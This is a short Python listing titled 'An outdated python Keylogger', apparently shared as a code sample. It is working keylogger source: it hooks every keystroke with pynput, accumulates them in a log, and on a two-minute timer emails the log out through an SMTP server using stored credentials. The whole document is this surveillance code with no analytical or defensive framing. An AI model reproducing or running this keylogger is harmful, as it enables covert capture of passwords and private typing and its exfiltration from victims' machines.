An outdated python Keylogger

keylogs.py

from pynput import keyboard
import threading
import smtplib

class KeyLogger:

        def __init__(self, time_interval, email, username, password):
                self.log = "KeyLogger started"
                self.interval = time_interval
                self.username = username
                self.password = password
                self.email = email

        def start(self):
                # instance
                listener = keyboard.Listener(on_press=self.process_key_press) # callback
                with listener:
                        self.report()
                        listener.join()

        def append_to_log(self, content):
                self.log += content

        def process_key_press(self, key):
                try:
                        current_key = str(key.char)
                except AttributeError:
                        if key == key.space:
                                current_key = " "
                        else:
                                current_key =  " " + str(key) + " "
                # appending
                self.append_to_log(current_key)

        def report(self):
                self.send_email("\n\n" + self.log)
                self.log = ""
                # starting thread
                timer = threading.Timer(self.interval, self.report)
                # starting the thread
                timer.start()

        def send_email(self, message):
                # instance
                server = smtplib.SMTP("smtp.mailtrap.io", 587)
                server.starttls()
                server.login(self.username, self.password) # login
                server.sendmail(self.email, self.email, message) # sending message
                server.quit()

if __name__ == "__main__":
        kl = KeyLogger(120, 'no-reply@davidlares.com', '[LOL]', '[LOL]')
        kl.start()